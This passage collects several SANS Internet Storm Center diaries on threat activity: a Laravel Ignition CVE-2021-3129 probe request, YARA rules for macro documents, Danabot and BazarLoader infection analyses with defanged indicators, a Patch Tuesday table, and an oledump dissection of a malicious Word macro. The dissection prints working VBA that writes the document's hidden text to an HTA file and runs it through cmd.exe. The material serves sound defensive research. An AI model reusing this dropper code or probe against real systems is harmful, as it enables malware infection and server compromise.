User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Length: 155
Accept: */*
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: application/json
Accept-Encoding: gzip

{ "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution", "parameters": {  "variableName": "username",  "viewFile": ""  }

The vulnerability and this PoC exploit are well documented as CVE-2021-3129 [2]. The vulnerability takes advantage of the Ignition "Solutions." Solutions enable the developer to inject code snippets to aid in debugging. 

The POST request above makes the variable "username" optional, and the "viewFile" parameter is empty, indicating that this is just a test to see if we are vulnerable.

Attacks against this vulnerability come from a handful of different IP addresses, and IPs are hardly ever scanned twice so far, indicating that this may still be one group using this vulnerability to "experiment." Some of the same IP addresses have been scanning for other web vulnerabilities (including WebLogic, for example) in the past.

What should you do if you run Laravel?

1. Make sure you are up to date. Version 8.4.2 and earlier are vulnerable to this particular issue.
2. Turn off the debug mode on any live sites. Users do not need pretty and detailed error pages. They are not going to fix the bug for you, so why tell them everything about it?

[1] https://github.com/facade/ignition
[2] https://www.ambionics.io/blog/laravel-debug-rce

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Here's an extra tip to my diary entry "Simple Tips For Triage Of MALWARE Bazaar's Daily Malware Batches".

You can also use YARA rules together with my zipdump tool:

I'm using 2 simples rules to detect Office documents with VBA macros:

rule olevba {
    strings:
        $attribut_e = {00 41 74 74 72 69 62 75 74 00 65}
    condition:
        uint32be(0) == 0xD0CF11E0 and $attribut_e
}

rule pkvba {
    strings:
        $vbaprojectbin = "vbaProject.bin"
    condition:
        uint32be(0) == 0x504B0304 and $vbaprojectbin
}

Rule olevba is for binary (ole) office documents, and rule pkvba is for OOXML documents.

Remark: these rules are designed for triage: they might generate false positives or negatives.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

I was asked for tips to triage MALWARE Bazaar's daily malware batches.

On Linux / macOS, you can unzip a malware batch and triage it with the file command.

There is no file command on Windows, but there are Windows versions you can install, and you can also use my file-magic tool (it's a Python tool that uses Python module python-magic-bin).

On Windows, I don't like to unzip the content of a daily malware batch to disk, because the malware samples have their original extension. For example, a malicious Windows executable will have extension .exe, like malware.exe. And that makes for a higher risk of inadvertenly executing malware.

What I prefer to do, is unzip the content of the ZIP file and pipe that into file-magic, like this:

The internal format I use is JSON, hence the -j and --jsoninput options.

Remark that this will not be fast: on yesterday's malware batch (170 MB), it took almost 10 minutes. It's more something to use in a daily bash script: download a malware batch, and triage it with zipdump and file-magic.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Scanning for Microsoft Exchange eDiscovery

In the past week, I have notice more scans looking for the following Exchange URL over port 443: /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application

What I have also noticed, all these scans for this URL are all from the same subnet (AS14061) DIGITALOCEAN-192-241-128-0.

This activity is likely linked to April Patch Tuesday (CVE-2021-28481) where "Also of significant note are the Microsoft Exchange Server Remote Code Execution vulnerabilities across versions 2013 - 2019. No known exploits are being reported however the CVSS score sits at 9.8, tread carefully. With a Critical rating, and a high CVSS score, those patches are worth reviewing in depth."[1]

Based on this graph, these scans started almost immediately (17 April 2021) after April patch Tuesday and are still ongoing today.

Sample Log

20210812-170532: 192.168.25.9:443-192.241.216.240:48302 data
GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1
Host: XX.XX.28.221
User-Agent: Mozilla/5.0 zgrab/0.x
Accept: */*
Accept-Encoding: gzip

Indicators of Compromise

192.241.128.0/17 → AS14061

Have you noticed an increase in scans for this URL?

[1] https://isc.sans.edu/forums/diary/Microsoft+April+2021+Patch+Tuesday/27306
[2] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-28481
[3] https://isc.sans.edu/forums/diary/Microsoft+Releases+Exchange+Emergency+Patch+to+Fix+Actively+Exploited+Vulnerability/27164

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Introduction

Danabot is an information stealer known for targeting banking data on infected Windows hosts. According to Proofpoint, Danabot version 4 started appearing in the wild in October 2020.

We recently discovered a Danabot sample during an infection kicked off by an email attachment sent on Thursday 2021-08-12.

Today's diary reviews this Danabot infection.

The email and attachment

Shown above:  Screenshot of email pushing Danabot.

Shown above:  JS file extracted from zip attachment.

The infection traffic

First, the JS file retrieves a malicious DLL file for Danabot, then runs it on the victim's host.  Next comes post-infection Danabot C2 traffic using 192.52.167[.]44 over TCP port 443.  Danabot C2 is encoded or otherwise encrypted traffic.  In this case, the victim's Windows host had a Google account synced to a Chrome web browser.

Because of this, Danabot generated a great deal of traffic to Google-based domains.  It searched for information from the Google account.  In this case, the victim's host had no Gmail messages, and no Google services were used.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  HTTP request returned script to download and run Danabot DLL.

Shown above:  HTTP request that returned the Danabot DLL.

Shown above:  TCP stream of encoded/encrypted traffic for Danabot C2 on 192.52.167[.]44 port 443.

Shown above:  Chrome browser from the infected Windows host showing Google account.

Shown above:  Fiddler decryption of HTTPS traffic caused by Danabot to Google-based domains from the infected Windows host.

If the victim used their web browser for online banking, e-commerce, or similar web-based activity, Danabot will check for and steal any login credentials.

Forensics on the infected Windows host

Shown above:  Malware and artifacts from the Danabot infection.

Shown above:  Start menu shortcut used to keep Danabot persistent on the infected Windows host.

Indicators of Compromise

Malware from an infection:

SHA256 hash: 78243217a587aa43a99972fd13160715405e13d381cb12fbc9947e00878858f6

• File size: 16,358 bytes
• File name: 345346.zip
• File description: Zip archive attached to malspam for Danabot

SHA256 hash: a69cea507366c6401df640e7f0461166afe98ac67f7ab00e86bc5d8665ff8cec

• File size: 72,345 bytes
• File name: 12.08 - Reports.js
• File description: Javascript file for Danabot

SHA256 hash: 716e5a3d29ff525aed30c18061daff4b496f3f828ba2ac763efd857062a42e96

• File size: 1,390,592 bytes
• File location: hxxp://www.bonusesfound[.]ml/update/update.dll
• File location: C:\Users\[username]\AppData\Local\Temp\cNjqsBS.bin
• File description: Danabot DLL
• Run method: Rundll32.exe [filename],S
• Note 1: File name is random for each infection, but it ends with .bin
• Note 2: DLL entry point seems like it might be any value

Traffic from an infected Windows host:

• 46.173.218[.]13 port 80 - www.bonusesfound[.]ml - GET /update/index.php
• 46.173.218[.]13 port 80 - www.bonusesfound[.]ml - GET /update/update.dll
• 192.52.167[.]44 port 443 - no associated domain - encoded/encrypted TCP traffic for Danabot C2
• various IP addresses - various legitimate domains - Danabot checking sites for login credentials and other sensitive info

Final words

Decent spam filters and best security practices can help you avoid Danabot.  Default security settings in Windows 10 should prevent these types of infections from happening.

But as I mentioned in my previous diary, this is a "cat-and-mouse" game.  Malware developers try new ways to circumvent security measures, while vendors update their software, applications, and endpoint protection to address these developments.

As usual, mass-distribution methods like malspam remain cheap and profitable for cyber criminals, so keep an eye out for Danabot and other types of commodity malware.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

Introduction

TA551 (also known as Shathak) represents e threat actor behind malspam that has pushed different families of malware over the past few years.  TA551 previously distributed Ursnif, Valak, and IcedID.

TA551 stopped sending IcedID sometime in June 2021 and began pushing Trickbot.

By July 2021, TA551 stopped sending Trickbot and began pushing BazarLoader (sometimes called BazaLoader).  TA551 continues to push BazarLoader, and Cobalt Strike is often follow-up malware for these infections.

Today's diary reviews a TA551 BazarLoader infection followed by Cobalt Strike on Tuesday 2021-08-10.

Shown above:  Flow chart for the chain of events in the infection on 2021-08-10.

From email to document

Examples of TA551 emails from Tuesday 2021-08-10 are not yet publicly available, but a recent example was submitted to VirusTotal from a wave last week on 2021-08-04.  These emails have different passwords each day, and we often see different passwords for different emails during the same day.  These emails spoof replies to previously valid emails, but they no longer include message text from the email chain.  We only see subject lines and spoofed sending addresses from the previously valid emails.

Shown above:  An example of TA551 malspam from 2021-08-04.

Attachments are currently named request.zip or info.zip.  Potential victims would open these password-protected zip archives on a vulnerable Windows host using the password supplied in the message text.  The extracted document uses a template that tells potential victims to enable macros.

Shown above:  Extracting the malicious TA551 Word doc from the attached zip archive.

Shown above: Screenshot of document extracted from the zip archive.

Kicking off an infection

On a vulnerable Windows host, a victim would enable macros on the extracted document.  Using an example from 2021-08-10, the document dropped an HTA file in the same directory as the document.  This HTA file contains HTML and script designed to retrieve a malicious DLL to infect a vulnerable Windows host with BazarLoader.

Shown above:  HTA file dropped after enabling macros.

Shown above:  HTA file opened in Wordpad to show some of the malicious script.

BazarLoader to Cobalt Strike

Shown above:  TCP stream showing the vulnerable host retrieving a malicious DLL for BazarLoader

Shown above:  Traffic from the infection filtered in Wireshark.

After the infected host retrieved a DLL for BazarLoader, HTTPS traffic began for Bazar Command and Control (C2) activity.  A malicious DLL for Cobalt Strike was sent through Bazar C2 traffic, then HTTPS traffic to xagadi[.]com began over 23.106.223[.]174 for Cobalt Strike.

Cobalt Strike tunneling through HTTPS

In recent weeks, we've noticed HTTPS traffic acting as a tunnel for Cobalt Strike activity.  Cobalt Stike URLs within this HTTPS traffic spoof commonly-used domains like bing.com or google.

Images below show decrypted HTTPS traffic from Any.Run's sandbox analysis of the Cobalt Strike binary found on our infected lab host. The pcap from this sandbox analysis has a decryption key, so we can see the actual URLs spoofing bing.com within HTTPS traffic to xagadi[.]com.

Shown above:  Decrypted HTTPS traffic from any.run's sandbox analysis of Cobalt Strike sample from our infected Windows host.

Shown above:  HTTP stream for initial GET request caused by the Cobalt Strike sample.

Shown above:  HTTP stream for initial POST request caused by the Cobalt Strike sample.

We started seeing this HTTPS tunneling from Cobalt Strike samples this month (August 2021), but it might have started earlier.  Here's a similar sample of Cobalt Stike from Monday 2021-08-09.  It generated the same type of activity: URLs spoofing google.es tunneled through HTTPS traffic to gojihu[.]com and yuxicu[.]com, originally reported here.

Indicators of Compromise (IOCs)

The following are indicators of compromise from the wave of TA551 (Shathak) seen on Tuesday 2021-08-10.

10 examples of TA551 docs with macros for BazarLoader:

SHA256 hash: 03abdfb1bec53a41e952b2ecadeb2ff2c6506564507e425524f929e1c31f4147
File name: rule 08.010.2021.doc

SHA256 hash: 2222d8bee780ea651a40648ebc226b8541fcf12e686aa5a92eb558e9ab50f108
File name: instruct 08.21.doc

SHA256 hash: 42a9d7b02d5f84a43f481c981cef6a3107b6fb94fa8a03e513e4b056d37c77f8
File name: report.08.21.doc

SHA256 hash: 561459674b21852e97b6ea096765e743cec0a8d41e698ec1c9cbee4065860c32
File name: official paper-08.21.doc

SHA256 hash: 628de18eb4d1d7a66a7da82fc8b6bb20084849d3abf82ab3242843f07882f29e
File name: bid,08.21.doc

SHA256 hash: 63b3efe7c8fabbb2a40145b5895c8566c6d38989a36501c474f88ebe9b822633
File name: docs,08.010.2021.doc

SHA256 hash: 68ca31d0eab4fc980da110e4587466baa38bccd1553cb7b15bc73aee87947bc9
File name: statistics_08.21.doc

SHA256 hash: be11fbd281424569ace8deae52242d2bcd37dd731d5332b67bfdcbbfe4180e67
File name: specifics.08.21.doc

SHA256 hash: c5741adf2becca698d13c2e145aeb753b0f8a6d20ba20b5b56c521ca0dc07d87
File name: legal paper-08.21.doc

SHA256 hash: c90988e865d589eca9b278eaa270edfbd4b07bde3abc3719685f439c737a15d3
File name: material-08.21.doc

At least 6 domains hosting a malicious DLL for BazarLoader:

• 45.95.11[.]158 port 80 - cousinrentals2000b[.]com
• 45.95.11[.]151 port 80 - curtainbeild[.]com
• 45.95.11[.]157 port 80 - haleassetss[.]com
• 45.95.11[.]155 port 80 - parkerarrangeg[.]com
• 45.95.11[.]154 port 80 - operarentals2006b[.]com
• 45.95.11[.]153 port 80 - sunalvarezd[.]com

SHA256 hashes for 10 examples of .hta files:

• 075b550e1ab472416ed8cd45fda9e1ed194bbf268ea20d7b03577fb93ab11b5c
• 189f75a62956a637a9ab1bb4dbfdcbeaac9e8d6b16eddfa7d25d7cecc92e34e9
• 4d8621c7fc56bfe6b57c6b1fe305a6f7afa535fda62dee59cd1401f43e948b69
• 75e6b862569d4662d7566efa0191c2e7ca8190f5b485c6c39e2f14c72ea77c4e
• 99b2a4769b963931c29c937c5ab423bea32b787aea013a63a7d924ae480f754a
• a680355098ba1a88f4117497e215a95ac67a284b3f2561144d3afd92f795785b
• d062fca84a1027cb8beb58440b226507830eb296ea76926f43603a577e26cd74
• d6ba990044ba268188e0b289ea1fb85946c9068959ec2c445040cc18c6f940d1
• e2d52d6f12539b987113280d82297e64373841167c49fe3911d1c48ed1b9b716
• facd96aeb3e78f6b13f04b3f99cc47deaa002dd015784295420bbc80ef56f365

Location for the above .hta files:

• Dropped in the same directory as the Word document, all files named: .hta

SHA256 hashes for 10 examples of BazarLoader DLL files:

SHA256 hash: 029b714502283599a5efb86d41c48fd46751ab727b707bde620e517ec3aa3c39
File location: C:\Users\Public\installVideo.jpg

SHA256 hash: 612f74d0a1f2f90a5a4ae11889755ea68656967cf0401e15d9c375ddcfb1d9e7
File location: C:\Users\Public\mp3Mp4.jpg

SHA256 hash: 1f0f521ca8586846c9623f7bdbefbbbc84cec351ac3925dc66e8c59e44cb1713
File location: C:\Users\Public\mp4WavBefore.jpg

SHA256 hash: 3638e918a3f0dfa6a610bcf906e6bd2413be02621154800fc18a0dd15d43f142
File location: C:\Users\Public\playInstall.jpg

SHA256 hash: 36d4159d7d413fce963687f89ec4aec7ee8ab6fba05697e0ba0634db36a673a8
File location: C:\Users\Public\videoStopVideo.jpg

SHA256 hash: 41ee1d7254be06b34250d38fc6d0406a5febb22187e14fd50511e39069091391
File location: C:\Users\Public\stopStopDate.jpg

SHA256 hash: 5590123543c7e78af3c7911466b6c4147f1b39928f648a252132baf06f2b1153
File location: C:\Users\Public\videoInstall.jpg

SHA256 hash: 6ba18d4835c77ceb9dad64b870bb3becb041017c2ef59ffd417d9bcedbd1bfe5
File location: C:\Users\Public\installSetupStart.jpg

SHA256 hash: 92f08770e9d9c86ff5dc8384ca46a0bf70e407bebd4d3d5aaf5dcbcad05791d8
File location: C:\Users\Public\startMix.jpg

SHA256 hash: f4147b15de09f117235fa765c9796d6ff424f703d34acdbfcf2d1177b0f2df1a
File location: C:\Users\Public\stopPlay.jpg

Run method for the above DLL files:

• regsvr32.exe [filename]

Cobalt Strike binary from this infection:

SHA256 hash: 8438bfbb9c978de4f342a3ed19551f735343a9c1ed0c8610a332a83918cb5985

• File size: 24,064 bytes
• File location: C:\Users\[username]\AppData\Local\Temp\382D.dll
• Run method: rundll32.exe [filename],Entrypoint

Bazar C2 traffic:

• hxxps://128.199.54[.]51/issue/web/html
• hxxps://161.35.152[.]204/issue/web/html

Cobalt Strike HTTPS tunnel:

• 23.106.223[.]174 port 443 - xagadi[.]com

URLs with spoofed domain used in HTTPS tunnel to xagadi[.]com:

• hxxps://bing[.]com/components/es.jpg
• hxxps://bing[.]com/tab_shop_active.css

Final words

For the past two months or so, I've seen more BazarLoader being pushed than ever before.  BazarLoader is currently sent through at least three different campaigns:

• TA551 (Shathak) - example in this diary
• "Stolen Images Evidence" campaign - more info and a recent example here.
• BazarCall - more info here and here.

BazarLoader is commonly followed by Cobalt Strike when an infected host is part of an Active Directory (AD) environment.  These infections reportedly deliver ransomware as a final payload in real-world environments (here is one such example).

But decent spam filters and best security practices can help you avoid BazarLoader. Default security settings in Windows 10 and Microsoft Office 2019 should prevent these types of infections from happening.

However, it's a "cat-and-mouse" game.  Malware developers create new ways to circumvent security measures, while vendors update their software, applications, and endpoint protection to address these new developments.  Furthermore, mass-distribution methods like malspam remain cheap and profitable for cyber criminals.

Malware samples from this wave of TA551 and pcaps from the associated traffic can be found at here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

This month we got patches for 51 vulnerabilities. Of these, 7 are critical, 2 were previously disclosed and 1 is being exploited according to Microsoft.

The exploited vulnerability is an elevation of privilege Windows Update Medic Service (CVE-2021-36948). This vulnerability requires no user interaction low privileges and has a low attack complexity. The CVSS v3 for this vulnerability is 7.80.

Among the two previously disclosed vulnerability, there is a remote code execution (RCE) affecting Windows Print Spooler (CVE-2021-36936). This vulnerability may be exploited from network, requires low privileges and no user interaction. Microsoft has released patches to fix this vulnerability on virtually all supported Windows versions and also for the unsupported Windows 7. The CVSS v3 for this vulnerability is 8.80.

The second previously disclosed vulnerability is a spoofing vulnerability affecting Windows LSA (CVE-2021-36942). This vulnerability man be exploited remotely (network), requires no privilege nor user interaction. According the the vulnerability advisory, an unauthenticated attacker could call a method on the LSARPC interface and coerce the domain controller to authenticate against another server using NTLM. The security update released thsi month by Microsoft blocks the affected API calls (OpenEncryptedFileRawA) and (OpenEncryptedFileRawW) through LSARPC interface. 

Yet about LSA Spoofing vulnerability, despite affecting all Windows Servers, according to Microsoft, Domain Controllers should be prioritazed on updating process. Additionally, there are further actions (KB5005413) users need to take to protect their systems after applying the security update. The CVSS v3 for this vulnerability is 7.5, but, when chained with NTLM Relay attacks on Active Directory Certificate Services (AD CS) is 9.80. 

Finally, the highest CVSS this month (9.90) went to the Windows TCP/IP Remote Code Execution Vulnerability (CVE-2021-26424). According to the vulnerability advisory, this vulnerability may be remotely triggerable by a malicious Hyper-V guest sending an ipv6 ping to the Hyper-V host. An attacker could send a specially crafted TCPIP packet to its host utilizing the TCPIP Protocol Stack (tcpip.sys) to process packets.

See my dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Core and Visual Studio Denial of Service Vulnerability
%%cve:2021-26423%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
.NET Core and Visual Studio Information Disclosure Vulnerability
%%cve:2021-34485%%	No	No	Less Likely	Less Likely	Important	5.0	4.4
ASP.NET Core and Visual Studio Information Disclosure Vulnerability
%%cve:2021-34532%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Azure CycleCloud Elevation of Privilege Vulnerability
%%cve:2021-33762%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
%%cve:2021-36943%%	No	No	Less Likely	Less Likely	Important	4.0	3.5
Azure Sphere Denial of Service Vulnerability
%%cve:2021-26430%%	No	No	Less Likely	Less Likely	Important	6.0	5.4
Azure Sphere Elevation of Privilege Vulnerability
%%cve:2021-26429%%	No	No	Less Likely	Less Likely	Important	7.7	6.9
Azure Sphere Information Disclosure Vulnerability
%%cve:2021-26428%%	No	No	Less Likely	Less Likely	Important	4.4	4.0
Chromium: CVE-2021-30590 Heap buffer overflow in Bookmarks
%%cve:2021-30590%%	No	No	-	-	-
Chromium: CVE-2021-30591 Use after free in File System API
%%cve:2021-30591%%	No	No	-	-	-
Chromium: CVE-2021-30592 Out of bounds write in Tab Groups
%%cve:2021-30592%%	No	No	-	-	-
Chromium: CVE-2021-30593 Out of bounds read in Tab Strip
%%cve:2021-30593%%	No	No	-	-	-
Chromium: CVE-2021-30594 Use after free in Page Info UI
%%cve:2021-30594%%	No	No	-	-	-
Chromium: CVE-2021-30596 Incorrect security UI in Navigation
%%cve:2021-30596%%	No	No	-	-	-
Chromium: CVE-2021-30597 Use after free in Browser UI
%%cve:2021-30597%%	No	No	-	-	-
Microsoft Azure Active Directory Connect Authentication Bypass Vulnerability
%%cve:2021-36949%%	No	No	Less Likely	Less Likely	Important	7.1	6.4
Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability
%%cve:2021-36950%%	No	No	Less Likely	Less Likely	Important	5.4	4.9
Microsoft Dynamics 365 (on-premises) Remote Code Execution Vulnerability
%%cve:2021-34524%%	No	No	Less Likely	Less Likely	Important	8.1	7.1
Microsoft Dynamics Business Central Cross-site Scripting Vulnerability
%%cve:2021-36946%%	No	No	Less Likely	Less Likely	Important	5.4	4.9
Microsoft Office Remote Code Execution Vulnerability
%%cve:2021-34478%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft SharePoint Server Spoofing Vulnerability
%%cve:2021-36940%%	No	No	Less Likely	Less Likely	Important	7.6	6.6
Microsoft Windows Defender Elevation of Privilege Vulnerability
%%cve:2021-34471%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Word Remote Code Execution Vulnerability
%%cve:2021-36941%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2021-34535%%	No	No	More Likely	More Likely	Critical	8.8	7.9
Scripting Engine Memory Corruption Vulnerability
%%cve:2021-34480%%	No	No	More Likely	More Likely	Critical	6.8	5.9
Storage Spaces Controller Elevation of Privilege Vulnerability
%%cve:2021-34536%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows 10 Update Assistant Elevation of Privilege Vulnerability
%%cve:2021-36945%%	No	No	Less Likely	Less Likely	Important	7.3	6.4
Windows Bluetooth Driver Elevation of Privilege Vulnerability
%%cve:2021-34537%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Cryptographic Primitives Library Information Disclosure Vulnerability
%%cve:2021-36938%%	No	No	Unlikely	Unlikely	Important	5.5	4.8
Windows Digital TV Tuner device registration application Elevation of Privilege Vulnerability
%%cve:2021-36927%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Event Tracing Elevation of Privilege Vulnerability
%%cve:2021-34486%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-34487%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
%%cve:2021-26425%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Graphics Component Font Parsing Remote Code Execution Vulnerability
%%cve:2021-34533%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Graphics Component Remote Code Execution Vulnerability
%%cve:2021-34530%%	No	No	Less Likely	Less Likely	Critical	7.8	6.8
Windows LSA Spoofing Vulnerability
%%cve:2021-36942%%	Yes	No	More Likely	More Likely	Important	7.5	7.0
Windows MSHTML Platform Remote Code Execution Vulnerability
%%cve:2021-34534%%	No	No	Less Likely	Less Likely	Critical	6.8	5.9
Windows Media MPEG-4 Video Decoder Remote Code Execution Vulnerability
%%cve:2021-36937%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2021-34483%%	No	No	Less Likely	Less Likely	Important	7.8	7.2
Windows Print Spooler Remote Code Execution Vulnerability
%%cve:2021-36936%%	Yes	No	More Likely	More Likely	Critical	8.8	8.2
%%cve:2021-36947%%	No	No	More Likely	More Likely	Important	8.8	8.2
Windows Recovery Environment Agent Elevation of Privilege Vulnerability
%%cve:2021-26431%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Services for NFS ONCRPC XDR Driver Information Disclosure Vulnerability
%%cve:2021-26433%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2021-36926%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2021-36932%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2021-36933%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Windows Services for NFS ONCRPC XDR Driver Remote Code Execution Vulnerability
%%cve:2021-26432%%	No	No	More Likely	More Likely	Critical	9.8	8.5
Windows TCP/IP Remote Code Execution Vulnerability
%%cve:2021-26424%%	No	No	More Likely	More Likely	Critical	9.9	8.6
Windows Update Medic Service Elevation of Privilege Vulnerability
%%cve:2021-36948%%	No	Yes	Detected	Detected	Important	7.8	7.2
Windows User Account Profile Picture Elevation of Privilege Vulnerability
%%cve:2021-26426%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows User Profile Service Elevation of Privilege Vulnerability
%%cve:2021-34484%%	No	No	Less Likely	Less Likely	Important	7.8	6.8

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Since the bad guys have started to actively look[1] for machines affected by vulnerabilities that enable one to perform the ProxyShell attack (unauthenticated RCE on an on-premise Exchange server) and since Shodan now detects machines affected by these vulnerabilities as well, I thought it might be interesting to take a look at some of the current Shodan data.

But to put things into context, let us first take a quick look at ProxyShell itself. The attack exploits 3 chained vulnerabilities (CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207) and was originally presented by Orange Tsai at this year’s Pwn2Own. During a talk at BlackHat last week, Orange Tsai disclosed further information about the attack[2], which was shortly followed by the publication of additional technical information about it by other researchers who managed to recreate it[3]. After that, it didn’t take the bad guys long to start looking for vulnerable machines.

Since the attack is not dependent on any memory corruption issues, but only on logic bugs in Exchange components[4], one can expect that most threat actors “worthy” of that title would not have much difficulties in successfully executing it, given the aforementioned availability of information about it. On the other hand, patches for all of the vulnerabilities in question have been released by Microsoft in May[5] and July[6,7] and chances are that most organizations that take security at least somewhat seriously have already applied the patches.

However, considering that Shodan can now give us data about the number of systems that are still affected by the vulnerabilities, we don’t have to depend on guesses... Or – rather – we don’t have to depend on them too much.

Since the detections for the ProxyShell vulnerabilities are fairly new, Shodan probably didn’t yet have a chance to go through the entire internet with them and one can therefore expect that the number of vulnerable systems it detects will rise sharply in the coming days, as it was when Shodan first started detecting the ProxyLogon vulnerability (CVE-2021-26855).

In any case, at the time of writing, Shodan detects about 30 400 machines affected by the three vulnerabilities. You may see all countries that have more than 100 detections of CVE-2021-34473 at this point in the following chart.

We’ll have to see whether the aforementioned prediction of mine turns true and whether there will be any further significant increases in the numbers. If so, I’ll try to let you know in some future diary…

[1] https://www.bleepingcomputer.com/news/microsoft/microsoft-exchange-servers-scanned-for-proxyshell-vulnerability-patch-now/
[2] https://www.blackhat.com/us-21/briefings/schedule/index.html#proxylogon-is-just-the-tip-of-the-iceberg-a-new-attack-surface-on-microsoft-exchange-server-23442
[3] https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
[4] https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207
[6] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473
[7] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523

-----------
Jan Kopriva
@jk0pr
Alef Nula

We have written about MALWARE Bazaar before: a place where you can download malware samples without account or subscription.

If you need many samples, MALWARE Bazaar also publishes daily ZIP files:

Download daily malware batches

---

MalwareBazaar creates daily batches of malware sample). The daily batches are created once a day at midnight (00:00 UTC). Please consider that it takes a few minutes to create the batch. So I kindly ask you to not fetch the daily batch before 00:15 UTC. The daily batches are available here:

• MalwareBazaar daily malware batches (ZIP password: infected)

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Despite Microsoft's attempts to make its Office suite more secure and disable many automatic features, despite the fact that users are warned that suspicious documents should not be opened, malicious Word documents remain a key infection vector today. One of our readers (thanks Joel!) shared a sample that he received and, unfortunately, opened on his computer. The document was delivered to him via a spoofed email (sent by a known contact). The document ("legal paper.08.04.2021.doc") was delivered in a protected ZIP archive and has a VT score of 11/58[1]. This remains a very low score for a simple Word document. It deserved to have a look at the content.

The document has a classic trick: it asks the user to enable the macro by pretending to have been generated by a previous Word version. Let's check the macro:

remnux@remnux:/MalwareZoo/20210805$ oledump.py legal\ paper.08.04.2021.doc 
A: editdata.mso
 A1:       438 'PROJECT'
 A2:        86 'PROJECTwm'
 A3: M    1352 'VBA/ThisDocument'
 A4:      2898 'VBA/_VBA_PROJECT'
 A5:      1720 'VBA/__SRP_0'
 A6:       190 'VBA/__SRP_1'
 A7:       532 'VBA/__SRP_2'
 A8:       156 'VBA/__SRP_3'
 A9: M    1693 'VBA/coreHtml'
A10:       604 'VBA/dir'
A11: M    1494 'VBA/varBr'
remnux@remnux:/MalwareZoo/20210805$ oledump.py legal\ paper.08.04.2021.doc -s 3 -v 
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub document_open()
i "", "cmd.exe /s /c "
End Sub
remnux@remnux:/MalwareZoo/20210805$ oledump.py legal\ paper.08.04.2021.doc -s 9 -v 
Attribute VB_Name = "coreHtml"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Function procComps(varIFunc)
procComps = "c:\\programdata\\index.h" & varIFunc
End Function
Public Sub compsTo(brCodeVar, varIFunc)
Open brCodeVar For Output As #1
Print #1, varIFunc
Close #1
End Sub
remnux@remnux:/MalwareZoo/20210805$ oledump.py legal\ paper.08.04.2021.doc -s 11 -v 
Attribute VB_Name = "varBr"
Function procCoreFor()
procCoreFor = ActiveDocument.Content
End Function
Public Sub i(iDefineHtml, forBrCompare)
Set toFor = New coreHtml
iDefineHtml = toFor.procComps("TA")
coreProcCode = Replace(procCoreFor, "tumdl", vbNullString)
toFor.compsTo iDefineHtml, coreProcCode
Call VBA.Shell(forBrCompare & iDefineHtml)
End Sub

The malicious macro is split into three streams and is not very complex:

document_open() calls i() where an HTA file name is generated ("C:\Programdata\index.hta"). The content of this file is extracted from the document itself (via the "ActiveDocument.Content" object property). Indeed, if we select all the text, increase the font size, and change the color we see this in the Word document:

Simple but it remains effective! The code is polluted with "tumdl" strings that are removed on the fly:

coreProcCode = Replace(procCoreFor, "tumdl", vbNullString)

Here is the (beautified) code:

<html>
<body>
